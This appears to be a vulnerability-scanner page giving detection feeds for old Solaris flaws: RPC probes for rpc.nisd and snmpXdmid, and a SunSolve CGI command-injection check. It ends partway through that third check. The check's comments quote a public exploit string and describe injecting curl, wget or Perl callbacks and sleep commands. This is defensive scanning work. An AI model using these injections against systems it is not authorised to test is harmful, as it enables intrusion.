Solaris — 4 vulnerability checks

noctis ships 4 vulnerability checks for Solaris, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Solaris NIS+ rpc.nisd RPC service exposed (buffer overflow, remote root)

CVECVE-1999-0008
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicesrpcbind, sunrpc, nisd, rpc.nisd
Detectionset_var, tcp_dialogue, script, udp_probe, match · highest QoD 70
Feedtests/vulnerabilities/solaris/CVE-1999-0008.yaml

Detects the Solaris NIS+ server daemon (rpc.nisd, ONC RPC program 100300), whose request handling on SunOS 5.3 to 5.6 has a buffer overflow that lets an unauthenticated attacker run commands as root. The feed sends an RPC NULL call (procedure 0 of program 100300 version 3, a no-op) to the scanned port over TCP and UDP; if that port is not rpc.nisd, it asks rpcbind (PMAPPROC_GETPORT) where program 100300 version 3 listens over TCP and over UDP and sends the same NULL call there. A daemon that answers is reported with good confidence; a program that rpcbind lists but that does not answer is reported with low confidence. No overflow payload is sent and the daemon keeps running. The patch level cannot be read over RPC, so a fixed daemon (Solaris 7 and later, or a patched 2.3 to 2.6) is reported as well: check the release and patches.

How noctis detects it

  1. TCP dialogue: one binary protocol frame
  2. Parses / computes the next value with a Rhai script
  3. UDP datagram probe
  4. Parses / computes the next value with a Rhai script
  5. TCP dialogue: one binary protocol frame
  6. UDP datagram probe
  7. Parses / computes the next value with a Rhai script
  8. TCP dialogue: one binary protocol frame
  9. UDP datagram probe
  10. Parses / computes the next value with a Rhai script
  11. Checks v.live for ^true$ → finding QoD 70: Solaris NIS+ rpc.nisd RPC service is running (CVE-1999-0008)
  12. Checks v.registered_only for ^true$ → finding QoD 50: Solaris NIS+ rpc.nisd RPC service registered (CVE-1999-0008)

References:

Feed source — tests/vulnerabilities/solaris/CVE-1999-0008.yaml
# Solaris NIS+ server rpc.nisd (ONC RPC program 100300) buffer overflow —
# CVE-1999-0008, CERT CA-98.06, Sun Security Bulletin #00170 (1998-06-10).
#
# Credit: detection target adapted from Greenbone's `2008/nisd_overflow.nasl`
# (GPL-2.0-only). That check either reports program 100300 as soon as rpcbind
# lists it over UDP (safe checks), or sends a NULL-procedure call with a ~3.5 KB
# argument that kills rpc.nisd and reports when a follow-up ping goes
# unanswered. The crash probe is a denial of service (the NIS+ server stays down
# until restarted) and is NOT ported.
#
# Why no exploit proof: Sun's bulletin only says "a buffer overflow" in rpc.nisd;
# the only observable, non-destructive outcome would be the daemon dying. There
# is no benign in-band or OOB proof, and NIS+ exposes no OS release or patch
# level over RPC (the source check reads the Solaris release over SSH instead).
# This feed is therefore a presence check, improved over the source check:
#   - it confirms rpc.nisd is alive with an RPC NULL call (procedure 0 of
#     100300 v3, a no-op every RPC server answers) instead of trusting the
#     rpcbind registration alone — a stale or firewalled registration only
#     yields the low-confidence QoD 50 finding;
#   - it asks rpcbind over both UDP (as the source check does) and TCP, and pings
#     the returned port over the matching transport;
#   - it also works when the scanner discovered the rpc.nisd port itself (nmap
#     RPC grinding names it `nisd`), over TCP or UDP, not only through rpcbind.
# Limitation: Solaris 7 and later (and patched 2.3–2.6) still ship rpc.nisd,
# and nothing on the wire tells it apart from a vulnerable one — QoD 70 at most.
#
# Transport: ONC RPC (RFC 5531), AUTH_NULL. Over TCP each message carries a
# 4-byte record mark (0x80000000 | length); UDP replies have none, so the
# scripts prefix "80000000" to a UDP reply's hex to parse both alike.
# Reply layout (byte offsets after the record mark; hex offset = byte x 2):
#   4 xid | 8 msg_type (1 REPLY) | 12 reply_stat (0 ACCEPTED) | 16 verf flavor
#   20 verf length L | 24+L accept_stat (0 SUCCESS) | 28+L procedure result
uid: 6e9119a4-de85-4644-be22-d287006a14fc
name: "Solaris NIS+ rpc.nisd RPC service exposed (buffer overflow, remote root)"
description: |
  Detects the Solaris NIS+ server daemon (rpc.nisd, ONC RPC program 100300),
  whose request handling on SunOS 5.3 to 5.6 has a buffer overflow that lets an
  unauthenticated attacker run commands as root. The feed sends an RPC NULL call
  (procedure 0 of program 100300 version 3, a no-op) to the scanned port over
  TCP and UDP; if that port is not rpc.nisd, it asks rpcbind (PMAPPROC_GETPORT)
  where program 100300 version 3 listens over TCP and over UDP and sends the
  same NULL call there. A daemon that answers is reported with good confidence;
  a program that rpcbind lists but that does not answer is reported with low
  confidence. No overflow payload is sent and the daemon keeps running. The
  patch level cannot be read over RPC, so a fixed daemon (Solaris 7 and later,
  or a patched 2.3 to 2.6) is reported as well: check the release and patches.
category: rce
cves: [CVE-1999-0008]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [solaris, nis+, nisd, rpc, sunrpc, buffer-overflow, cert-ca-98-06]
services: [rpcbind, sunrpc, nisd, rpc.nisd]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-1999-0008"
  - "https://ftp4.gwdg.de/pub/cert.dfn/vendor/sun/security-alert/security-alert-170.txt"
  - "https://www.rfc-editor.org/rfc/rfc5531"

steps:
  # ── 1. Is the matched port rpc.nisd itself? RPC NULL (100300 v3 proc 0).
  # accept_stat SUCCESS (0) or PROG_MISMATCH (2) both prove program 100300 is served there.
  - id: init-direct
    action: set_var
    var_name: dt
    var_value: {connected: false}

  - id: init-direct-udp
    action: set_var
    var_name: du
    var_value: {responded: false}

  # TCP, xid "NOC\x20".
  - id: null-direct-tcp
    action: tcp_dialogue
    port: "{{port}}"
    tls: false
    read_banner: false
    timeout_secs: 10
    send_hex: "800000284e4f43200000000000000002000187cc000000030000000000000000000000000000000000000000"
    store_as: dt

  - id: check-direct-tcp
    action: script
    store_as: d
    code: |
      let h = if dt.connected == true && type_of(dt.response_hex) == "string" { tolower(dt.response_hex) } else { "" };
      let ok = false;
      if strlen(h) >= 56 && substr(h, 8, 15) == "4e4f4320"
          && u32be(substr(h, 16, 23)) == 1 && u32be(substr(h, 24, 31)) == 0 {
        let vl = u32be(substr(h, 40, 47));
        let off = 48 + ((vl + 3) / 4) * 8;
        ok = vl <= 400 && strlen(h) >= off + 8 && [0, 2].contains(u32be(substr(h, off, off + 7)));
      }
      #{ ok: ok, via: if ok { "TCP" } else { "" } }

  # UDP, xid "NOC\x21" (no record mark).
  - id: null-direct-udp
    action: udp_probe
    condition: "d.ok == false"
    port: "{{port}}"
    timeout_secs: 5
    send_hex: "4e4f43210000000000000002000187cc000000030000000000000000000000000000000000000000"
    store_as: du

  - id: check-direct
    action: script
    store_as: dd
    code: |
      let ok = d.ok;
      let via = d.via;
      if !ok && du.responded == true && type_of(du.response_hex) == "string" {
        let h = "80000000" + tolower(du.response_hex);
        if strlen(h) >= 56 && substr(h, 8, 15) == "4e4f4321"
            && u32be(substr(h, 16, 23)) == 1 && u32be(substr(h, 24, 31)) == 0 {
          let vl = u32be(substr(h, 40, 47));
          let off = 48 + ((vl + 3) / 4) * 8;
          ok = vl <= 400 && strlen(h) >= off + 8 && [0, 2].contains(u32be(substr(h, off, off + 7)));
          if ok { via = "UDP"; }
        }
      }
      #{ ok: ok, via: via }

  # ── 2. Otherwise treat the port as rpcbind: where is 100300 v3, over TCP and UDP?
  # PMAPPROC_GETPORT (100000 v2 proc 3) args {100300, 3, IPPROTO_TCP|IPPROTO_UDP, 0}.
  - id: init-getport-tcp
    action: set_var
    var_name: gpt
    var_value: {connected: false}

  - id: init-getport-udp
    action: set_var
    var_name: gpu
    var_value: {responded: false}

  # Over TCP, asking for the TCP port, xid "NOC\x22".
  - id: getport-tcp
    action: tcp_dialogue
    condition: "dd.ok == false"
    port: "{{port}}"
    tls: false
    read_banner: false
    timeout_secs: 10
    send_hex: "800000384e4f43220000000000000002000186a0000000020000000300000000000000000000000000000000000187cc000000030000000600000000"
    store_as: gpt

  # Over UDP, asking for the UDP port, xid "NOC\x23".
  - id: getport-udp
    action: udp_probe
    condition: "dd.ok == false"
    port: "{{port}}"
    timeout_secs: 5
    send_hex: "4e4f43230000000000000002000186a0000000020000000300000000000000000000000000000000000187cc000000030000001100000000"
    store_as: gpu

  - id: parse-getport
    action: script
    store_as: mp
    code: |
      let pt = 0;
      let pu = 0;
      if dd.ok == false && gpt.connected == true && type_of(gpt.response_hex) == "string" {
        let h = tolower(gpt.response_hex);
        if strlen(h) >= 64 && substr(h, 8, 15) == "4e4f4322"
            && u32be(substr(h, 16, 23)) == 1 && u32be(substr(h, 24, 31)) == 0 {
          let vl = u32be(substr(h, 40, 47));
          let off = 48 + ((vl + 3) / 4) * 8;
          if vl <= 400 && strlen(h) >= off + 16 && u32be(substr(h, off, off + 7)) == 0 {
            pt = u32be(substr(h, off + 8, off + 15));
          }
        }
      }
      if dd.ok == false && gpu.responded == true && type_of(gpu.response_hex) == "string" {
        let h = "80000000" + tolower(gpu.response_hex);
        if strlen(h) >= 64 && substr(h, 8, 15) == "4e4f4323"
            && u32be(substr(h, 16, 23)) == 1 && u32be(substr(h, 24, 31)) == 0 {
          let vl = u32be(substr(h, 40, 47));
          let off = 48 + ((vl + 3) / 4) * 8;
          if vl <= 400 && strlen(h) >= off + 16 && u32be(substr(h, off, off + 7)) == 0 {
            pu = u32be(substr(h, off + 8, off + 15));
          }
        }
      }
      let rt = pt > 0 && pt < 65536;
      let ru = pu > 0 && pu < 65536;
      #{ pt: pt, pu: pu, reg_tcp: rt, reg_udp: ru,
         query_tcp: rt && pt != port, query_udp: ru && pu != port }

  # ── 3. Ping the port(s) rpcbind returned: RPC NULL.
  - id: init-indirect-tcp
    action: set_var
    var_name: it
    var_value: {connected: false}

  - id: init-indirect-udp
    action: set_var
    var_name: iu
    var_value: {responded: false}

  # TCP, xid "NOC\x24".
  - id: null-indirect-tcp
    action: tcp_dialogue
    condition: "mp.query_tcp == true"
    port: "{{mp.pt}}"
    tls: false
    read_banner: false
    timeout_secs: 10
    send_hex: "800000284e4f43240000000000000002000187cc000000030000000000000000000000000000000000000000"
    store_as: it

  # UDP, xid "NOC\x25".
  - id: null-indirect-udp
    action: udp_probe
    condition: "mp.query_udp == true"
    port: "{{mp.pu}}"
    timeout_secs: 5
    send_hex: "4e4f43250000000000000002000187cc000000030000000000000000000000000000000000000000"
    store_as: iu

  - id: verdict
    action: script
    store_as: v
    code: |
      let ht = if mp.query_tcp && it.connected == true && type_of(it.response_hex) == "string" { tolower(it.response_hex) } else { "" };
      let hu = if mp.query_udp && iu.responded == true && type_of(iu.response_hex) == "string" { "80000000" + tolower(iu.response_hex) } else { "" };
      let alive_t = false;
      let alive_u = false;
      if strlen(ht) >= 56 && substr(ht, 8, 15) == "4e4f4324"
          && u32be(substr(ht, 16, 23)) == 1 && u32be(substr(ht, 24, 31)) == 0 {
        let vl = u32be(substr(ht, 40, 47));
        let off = 48 + ((vl + 3) / 4) * 8;
        alive_t = vl <= 400 && strlen(ht) >= off + 8 && [0, 2].contains(u32be(substr(ht, off, off + 7)));
      }
      if strlen(hu) >= 56 && substr(hu, 8, 15) == "4e4f4325"
          && u32be(substr(hu, 16, 23)) == 1 && u32be(substr(hu, 24, 31)) == 0 {
        let vl = u32be(substr(hu, 40, 47));
        let off = 48 + ((vl + 3) / 4) * 8;
        alive_u = vl <= 400 && strlen(hu) >= off + 8 && [0, 2].contains(u32be(substr(hu, off, off + 7)));
      }
      let reg = "";
      if mp.reg_tcp { reg += "TCP port " + mp.pt; }
      if mp.reg_udp { if reg != "" { reg += ", "; } reg += "UDP port " + mp.pu; }
      if dd.ok {
        #{ live: true, registered_only: false, where: dd.via + " port " + port + " (direct)" }
      } else if alive_t {
        #{ live: true, registered_only: false, where: "TCP port " + mp.pt + " (rpcbind on port " + port + ")" }
      } else if alive_u {
        #{ live: true, registered_only: false, where: "UDP port " + mp.pu + " (rpcbind on port " + port + ")" }
      } else if mp.reg_tcp || mp.reg_udp {
        #{ live: false, registered_only: true, where: reg + " (rpcbind on port " + port + ")" }
      } else {
        #{ live: false, registered_only: false, where: "" }
      }

  # ── 4. Findings ─────────────────────────────────────────────────────────────
  - id: nisd-live
    action: match
    source: v.live
    pattern: "^true$"
    condition: "v.live == true"
    on_match:
      finding:
        title: "Solaris NIS+ rpc.nisd RPC service is running (CVE-1999-0008)"
        description: "The NIS+ server daemon rpc.nisd (RPC program 100300 v3) answered an RPC NULL call. On SunOS 5.3 to 5.6 it has a buffer overflow that lets an unauthenticated remote attacker execute commands as root. The daemon's patch level cannot be read over RPC."
        remediation: "On SunOS 5.3 to 5.6, apply Sun patch 105401-13 (5.6), 103612-41 (5.5.1), 103187-38 (5.5), 101973-35 (5.4) or 101318-91 (5.3) (x86: 105402-13, 103613-41, 103188-38, 101974-35), or upgrade. Disable rpc.nisd where NIS+ is not needed, and firewall rpcbind (111) and the RPC port ranges from untrusted networks."
        confidence_delta: 0.40
        qod: 70
        evidence: "rpc.nisd (RPC 100300 v3) on {{v.where}} answered an RPC NULL call for program 100300"
      stop: true

  - id: nisd-registered
    action: match
    source: v.registered_only
    pattern: "^true$"
    condition: "v.registered_only == true"
    on_match:
      finding:
        title: "Solaris NIS+ rpc.nisd RPC service registered (CVE-1999-0008)"
        description: "rpcbind lists the NIS+ server daemon rpc.nisd (RPC program 100300 v3), which on SunOS 5.3 to 5.6 has a buffer overflow giving an unauthenticated attacker root. The registered port did not answer the scanner's RPC NULL call (filtered, or a stale registration), so this rests on the rpcbind listing."
        remediation: "On SunOS 5.3 to 5.6, apply Sun patch 105401-13 (5.6), 103612-41 (5.5.1), 103187-38 (5.5), 101973-35 (5.4) or 101318-91 (5.3) (x86: 105402-13, 103613-41, 103188-38, 101974-35), or upgrade. Disable rpc.nisd where NIS+ is not needed, and firewall rpcbind (111) and the RPC port ranges from untrusted networks."
        confidence_delta: 0.20
        qod: 50
        evidence: "rpcbind GETPORT(100300, 3) -> {{v.where}}; RPC NULL got no SUCCESS reply"

Solaris snmpXdmid RPC service exposed (heap overflow, remote root)

CVECVE-2001-0236
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Servicesrpcbind, sunrpc, snmpXdmid, snmpxdmid
Detectionset_var, tcp_dialogue, script, match · highest QoD 70
Feedtests/vulnerabilities/solaris/CVE-2001-0236.yaml

Detects the Solaris SNMP-to-DMI mapper daemon (snmpXdmid, ONC RPC program 100249), whose request parsing has a heap overflow that lets an unauthenticated attacker run commands as root with a long "indication" event. The feed asks rpcbind (PMAPPROC_GETPORT) where program 100249 version 1 listens over TCP, or talks to the snmpXdmid port directly when it was discovered, and sends an RPC NULL call (procedure 0, a no-op) to confirm the daemon answers. A live daemon is reported with good confidence; a program that rpcbind lists but that does not answer is reported with low confidence. No overflow payload is sent and the daemon keeps running. The patch level cannot be read over RPC, so a fixed daemon (Solaris 9 and later, or a patched 2.6/7/8) is reported as well: disable the service.

How noctis detects it

  1. TCP dialogue: one binary protocol frame
  2. Parses / computes the next value with a Rhai script
  3. TCP dialogue: one binary protocol frame
  4. Parses / computes the next value with a Rhai script
  5. TCP dialogue: one binary protocol frame
  6. Parses / computes the next value with a Rhai script
  7. Checks v.live for ^true$ → finding QoD 70: Solaris snmpXdmid RPC service is running (CVE-2001-0236)
  8. Checks v.registered_only for ^true$ → finding QoD 50: Solaris snmpXdmid RPC service registered (CVE-2001-0236)

References:

Feed source — tests/vulnerabilities/solaris/CVE-2001-0236.yaml
# Solaris snmpXdmid (ONC RPC program 100249) heap overflow — CVE-2001-0236,
# CERT CA-2001-05, Sun Security Bulletin #00207.
#
# Credit: detection logic adapted from Greenbone's `pre2008/snmpXdmid.nasl`
# (GPL-2.0-only). That check either reports the program as soon as rpcbind
# lists it (safe checks), or sends a ~28 KB "indication" argument that kills the
# daemon and reports when a reconnect fails. The crash probe is a denial of
# service (the daemon is not restarted until the next boot) and is NOT ported.
#
# Why no exploit proof: the bug is a heap overflow whose only observable,
# non-destructive outcome would be the daemon dying. There is no benign
# in-band or OOB proof, and the RPC interface exposes no version or patch level.
# This feed is therefore a presence check, improved over the source check:
#   - it confirms the daemon is alive with an RPC NULL call (procedure 0 of
#     100249 v1, a no-op every RPC server answers) instead of trusting the
#     rpcbind registration alone — a stale or firewalled registration only
#     yields the low-confidence QoD 50 finding;
#   - it also works when the scanner discovered the snmpXdmid port itself
#     (nmap RPC grinding names it `snmpXdmid`), not only through rpcbind.
# Limitation: Solaris 9/10 still ship a fixed snmpXdmid, and nothing on the wire
# tells it apart from a vulnerable Solaris 2.6/7/8 one — hence QoD 70 at most.
#
# Transport: ONC RPC over TCP with RFC 5531 record marking (4-byte header
# 0x80000000 | length), AUTH_NULL. Reply layout (byte offsets after the record
# mark; hex offset = byte x 2):
#   4 xid | 8 msg_type (1 REPLY) | 12 reply_stat (0 ACCEPTED) | 16 verf flavor
#   20 verf length L | 24+L accept_stat (0 SUCCESS) | 28+L procedure result
uid: 80a2f6b4-5fc4-4c57-9f6c-1491009e3259
name: "Solaris snmpXdmid RPC service exposed (heap overflow, remote root)"
description: |
  Detects the Solaris SNMP-to-DMI mapper daemon (snmpXdmid, ONC RPC program
  100249), whose request parsing has a heap overflow that lets an unauthenticated
  attacker run commands as root with a long "indication" event. The feed asks
  rpcbind (PMAPPROC_GETPORT) where program 100249 version 1 listens over TCP, or
  talks to the snmpXdmid port directly when it was discovered, and sends an RPC
  NULL call (procedure 0, a no-op) to confirm the daemon answers. A live daemon
  is reported with good confidence; a program that rpcbind lists but that does
  not answer is reported with low confidence. No overflow payload is sent and the daemon keeps
  running. The patch level cannot be read over RPC, so a fixed daemon (Solaris
  9 and later, or a patched 2.6/7/8) is reported as well: disable the service.
category: rce
cves: [CVE-2001-0236]
cvss: 10.0
severity: critical
confidence_base: 0.30
tags: [solaris, snmpxdmid, dmi, rpc, sunrpc, heap-overflow, cert-ca-2001-05]
services: [rpcbind, sunrpc, snmpXdmid, snmpxdmid]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0236"
  - "https://www.cert.org/advisories/CA-2001-05.html"
  - "http://www.securityfocus.com/bid/2417"
  - "https://www.rfc-editor.org/rfc/rfc5531"

steps:
  # ── 1. Is the matched port snmpXdmid itself? RPC NULL (100249 v1 proc 0), xid "NOC\x10".
  # accept_stat SUCCESS (0) or PROG_MISMATCH (2) both prove program 100249 is served there.
  - id: init-direct
    action: set_var
    var_name: dn
    var_value: {connected: false}

  - id: null-direct
    action: tcp_dialogue
    port: "{{port}}"
    tls: false
    read_banner: false
    timeout_secs: 10
    send_hex: "800000284e4f4310000000000000000200018799000000010000000000000000000000000000000000000000"
    store_as: dn

  - id: check-direct
    action: script
    store_as: d
    code: |
      let h = if dn.connected == true && type_of(dn.response_hex) == "string" { tolower(dn.response_hex) } else { "" };
      let ok = false;
      if strlen(h) >= 56 && substr(h, 8, 15) == "4e4f4310"
          && u32be(substr(h, 16, 23)) == 1 && u32be(substr(h, 24, 31)) == 0 {
        let vl = u32be(substr(h, 40, 47));
        let off = 48 + ((vl + 3) / 4) * 8;
        ok = vl <= 400 && strlen(h) >= off + 8 && [0, 2].contains(u32be(substr(h, off, off + 7)));
      }
      #{ ok: ok }

  # ── 2. Otherwise treat the port as rpcbind: where is 100249 v1 / TCP?
  # PMAPPROC_GETPORT (100000 v2 proc 3) args {100249, 1, IPPROTO_TCP, 0}, xid "NOC\x11".
  - id: init-getport
    action: set_var
    var_name: gp
    var_value: {connected: false}

  - id: getport
    action: tcp_dialogue
    condition: "d.ok == false"
    port: "{{port}}"
    tls: false
    read_banner: false
    timeout_secs: 10
    send_hex: "800000384e4f43110000000000000002000186a000000002000000030000000000000000000000000000000000018799000000010000000600000000"
    store_as: gp

  - id: parse-getport
    action: script
    store_as: mp
    code: |
      let p = 0;
      if d.ok == false && gp.connected == true && type_of(gp.response_hex) == "string" {
        let h = tolower(gp.response_hex);
        if strlen(h) >= 64 && substr(h, 8, 15) == "4e4f4311"
            && u32be(substr(h, 16, 23)) == 1 && u32be(substr(h, 24, 31)) == 0 {
          let vl = u32be(substr(h, 40, 47));
          let off = 48 + ((vl + 3) / 4) * 8;
          if vl <= 400 && strlen(h) >= off + 16 && u32be(substr(h, off, off + 7)) == 0 {
            p = u32be(substr(h, off + 8, off + 15));
          }
        }
      }
      #{ port: p, registered: p > 0 && p < 65536, query: p > 0 && p < 65536 && p != port }

  # ── 3. Ping the port rpcbind returned: RPC NULL, xid "NOC\x12".
  - id: init-indirect
    action: set_var
    var_name: inn
    var_value: {connected: false}

  - id: null-indirect
    action: tcp_dialogue
    condition: "mp.query == true"
    port: "{{mp.port}}"
    tls: false
    read_banner: false
    timeout_secs: 10
    send_hex: "800000284e4f4312000000000000000200018799000000010000000000000000000000000000000000000000"
    store_as: inn

  - id: verdict
    action: script
    store_as: v
    code: |
      let h = if mp.query && inn.connected == true && type_of(inn.response_hex) == "string" { tolower(inn.response_hex) } else { "" };
      let alive = false;
      if strlen(h) >= 56 && substr(h, 8, 15) == "4e4f4312"
          && u32be(substr(h, 16, 23)) == 1 && u32be(substr(h, 24, 31)) == 0 {
        let vl = u32be(substr(h, 40, 47));
        let off = 48 + ((vl + 3) / 4) * 8;
        alive = vl <= 400 && strlen(h) >= off + 8 && [0, 2].contains(u32be(substr(h, off, off + 7)));
      }
      if d.ok {
        #{ live: true, registered_only: false, where: "port " + port + " (direct)" }
      } else if alive {
        #{ live: true, registered_only: false, where: "port " + mp.port + " (rpcbind on port " + port + ")" }
      } else if mp.registered {
        #{ live: false, registered_only: true, where: "port " + mp.port + " (rpcbind on port " + port + ")" }
      } else {
        #{ live: false, registered_only: false, where: "" }
      }

  # ── 4. Findings ─────────────────────────────────────────────────────────────
  - id: snmpxdmid-live
    action: match
    source: v.live
    pattern: "^true$"
    condition: "v.live == true"
    on_match:
      finding:
        title: "Solaris snmpXdmid RPC service is running (CVE-2001-0236)"
        description: "The snmpXdmid daemon (RPC program 100249 v1) answered an RPC NULL call. Its request parsing has a heap overflow that lets an unauthenticated remote attacker execute commands as root with a long indication event. The daemon's patch level cannot be read over RPC."
        remediation: "Apply Sun patch 106787 (Solaris 2.6), 107709 (7) or 108869 (8) (x86: 106872, 107710, 108870), or better, disable the DMI services: rename /etc/rc3.d/S77dmi, kill snmpXdmid and snmpdx, and firewall rpcbind (111) and the RPC port ranges from untrusted networks."
        confidence_delta: 0.40
        qod: 70
        evidence: "snmpXdmid (RPC 100249/TCP) on {{v.where}} answered an RPC NULL call for program 100249"
      stop: true

  - id: snmpxdmid-registered
    action: match
    source: v.registered_only
    pattern: "^true$"
    condition: "v.registered_only == true"
    on_match:
      finding:
        title: "Solaris snmpXdmid RPC service registered (CVE-2001-0236)"
        description: "rpcbind lists the snmpXdmid daemon (RPC program 100249 v1/TCP), which has a heap overflow giving an unauthenticated attacker root. The registered port did not answer the scanner's RPC NULL call (filtered, or a stale registration), so this rests on the rpcbind listing."
        remediation: "Apply Sun patch 106787 (Solaris 2.6), 107709 (7) or 108869 (8) (x86: 106872, 107710, 108870), or better, disable the DMI services: rename /etc/rc3.d/S77dmi, kill snmpXdmid and snmpdx, and firewall rpcbind (111) and the RPC port ranges from untrusted networks."
        confidence_delta: 0.20
        qod: 50
        evidence: "rpcbind GETPORT(100249, 1, tcp) -> {{v.where}}; RPC NULL got no SUCCESS reply"

SunSolve CD sscd_suncourier.pl Command Execution

CVECVE-2002-0436
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/solaris/CVE-2002-0436.yaml

Detects unauthenticated command execution in the sscd_suncourier.pl CGI of the Sun SunSolve CD documentation server (CVE-2002-0436). The script passes the `emailaddr` form field to a shell without removing metacharacters, so a value such as `<address>| <command> #` runs a command as the web server user. The feed first checks that sscd_suncourier.pl answers under /cd-cgi or /cgi-bin with a status that a random path in the same directory does not return, then submits the form with benign injected commands. Confirmation needs real execution: an out-of-band HTTP callback fetched with curl, wget or a Perl one-liner, or a response delay that scales with an injected `sleep` (3 s and 6 s) against a fast `sleep 0` control, with the 6 s probe clearly slower than the 3 s one. Each probe uses the address noctis@example.com, which the script may try to mail.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/sscd_suncourier.pl
  2. HTTP(S) request GET {{dir}}/sscd_noctis_{{oob_token}}.pl
  3. Checks script.body for [\s\S]*
  4. HTTP(S) request POST {{dir}}/sscd_suncourier.pl with a crafted body
  5. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: SunSolve CD sscd_suncourier.pl command execution confirmed: a curl/wget/perl command injected through the emailaddr field fetched the per-r…
  6. HTTP(S) request GET {{dir}}/sscd_suncourier.pl
  7. HTTP(S) request GET {{dir}}/sscd_noctis_{{oob_token}}.pl
  8. HTTP(S) request POST {{dir}}/sscd_suncourier.pl with a crafted body
  9. HTTP(S) request POST {{dir}}/sscd_suncourier.pl with a crafted body
  10. HTTP(S) request POST {{dir}}/sscd_suncourier.pl with a crafted body
  11. Checks slow3.body for [\s\S]* → finding QoD 75: SunSolve CD sscd_suncourier.pl command execution confirmed by timing via …/sscd_suncourier.pl emailaddr: control sleep 0 answered in … ms, …

References:

Feed source — tests/vulnerabilities/solaris/CVE-2002-0436.yaml
# SunSolve CD sscd_suncourier.pl command execution (CVE-2002-0436, BID 4269)
#
# Credit: target paths adapted from Greenbone's `pre2008/sscd_input.nasl`
# (GPL-2.0-only), which only checks that `/cd-cgi/sscd_suncourier.pl` (or
# `sscd_suncourier.pl` under the CGI directories) exists and reports on that.
# Exploit shape from the original Bugtraq post (2002-03-11, also Exploit-DB
# 21340):
#   POST http://<host>:8383/cd-cgi/sscd_suncourier.pl
#   step=submit&emailaddr=foo@bar.com| id > /tmp/foo|
#
# Root cause: the SunSolve CD "SunCourier" CGI (Solaris Media pack, served by
# the CD's own web server, by default on 8383) hands the `emailaddr` field to a
# shell without removing metacharacters, so `<addr>| <cmd> |` runs <cmd> as
# the web server user. Sun never shipped a fix (the product is end of life).
#
# Payload shape: `noctis@example.com| <cmd> #` instead of the post's
# `<addr>| <cmd> |`. The CGI source is not public; the trailing `|` only parses
# when the script appends text after the address (`grep <addr> <file> |`). The
# `#` comments out whatever follows, so the same value runs <cmd> when the
# address ends a Perl read pipe, sits mid-command, feeds a write pipe or a
# system() with a redirection (all four checked against Perl + /bin/sh).
#
# The command's output is not printed back, so the proof is behavioural:
#   1. OOB callback (QoD 97, only when OOB is configured): curl, then wget,
#      then a Perl IO::Socket one-liner (Perl is always there: the CGI is
#      Perl; Solaris of that era has no curl/wget) fetch the per-run OOB URL.
#   2. Time differential (QoD 75, when 1 did not fire): `sleep 0` control must
#      answer in < 3 s, `sleep 6` in >= control + 5 s and `sleep 3` in
#      >= control + 2.5 s and at least 1.5 s below the 6 s probe. The CGI
#      waits for the piped command before it answers. `duration_ms` covers the
#      full response (#1924), so a server that flushes headers before running
#      the command is caught too.
# Every injection is gated on the script answering (not 404) with a status a
# random sibling path does not share, so plain and soft-404 web servers get
# neither the POSTs nor the OOB wait. The Perl callback sets `alarm 10` so a
# silent OOB endpoint cannot leave the CGI hanging.
# Each probe uses the address noctis@example.com; a vulnerable CGI may try to
# mail it (example.com accepts no mail).
#
# Better than the source check: it reports on the file's presence alone (any
# non-404 answer, so soft-404 servers are false positives) and never verifies
# that the input is executed. This feed proves execution and rules out
# soft-404 servers.
uid: 3e168bf4-8ca4-454b-bda7-2e0cc4fcbe83
name: "SunSolve CD sscd_suncourier.pl Command Execution (CVE-2002-0436)"
description: |
  Detects unauthenticated command execution in the sscd_suncourier.pl CGI of
  the Sun SunSolve CD documentation server (CVE-2002-0436). The script passes
  the `emailaddr` form field to a shell without removing metacharacters, so a
  value such as `<address>| <command> #` runs a command as the web server
  user. The feed first checks that sscd_suncourier.pl answers under /cd-cgi or
  /cgi-bin with a status that a random path in the same directory does not
  return, then submits the form with benign injected commands. Confirmation
  needs real execution:
  an out-of-band HTTP callback fetched with curl, wget or a Perl one-liner, or
  a response delay that scales with an injected `sleep` (3 s and 6 s) against
  a fast `sleep 0` control, with the 6 s probe clearly slower than the 3 s
  one. Each probe uses the address noctis@example.com, which the script may
  try to mail.
cves: [CVE-2002-0436]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [sun, solaris, sunsolve, cgi, perl, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-0436"
  - "https://seclists.org/bugtraq/2002/Mar/202"
  - "https://www.exploit-db.com/exploits/21340"
  - "http://www.securityfocus.com/bid/4269"

steps:
  # Set once the script answers in some directory; gates the 20 s OOB wait.
  - id: init-found
    action: set_var
    var_name: script_found
    var_value: false

  # ── Loop 1: presence + OOB injection, once per CGI directory ──────────────
  - id: init-script
    action: set_var
    var_name: script
    var_value: {status: 0, body: "", duration_ms: 0}
    loop:
      over: ["/cd-cgi", "/cgi-bin"]
      var: dir

  - id: init-miss
    action: set_var
    var_name: miss
    var_value: {status: 0, body: "", duration_ms: 0}

  - id: get-script
    action: http_request
    method: GET
    path: "{{dir}}/sscd_suncourier.pl"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    store_as: script

  # Soft-404 control: a random sibling must not answer with the same status.
  - id: get-miss
    action: http_request
    method: GET
    path: "{{dir}}/sscd_noctis_{{oob_token}}.pl"
    tls_insecure: true
    port: "{{port}}"
    timeout_secs: 15
    condition: "script.status != 0 && script.status != 404"
    store_as: miss

  - id: mark-found
    action: match
    source: script.body
    pattern: "[\\s\\S]*"
    condition: "script.status != 0 && script.status != 404 && miss.status != script.status"
    on_match:
      set_vars:
        script_found: true

  # emailaddr = noctis@example.com| (curl … || wget … || perl …) >/dev/null 2>&1 #
  - id: inject-oob
    action: http_request
    method: POST
    path: "{{dir}}/sscd_suncourier.pl"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
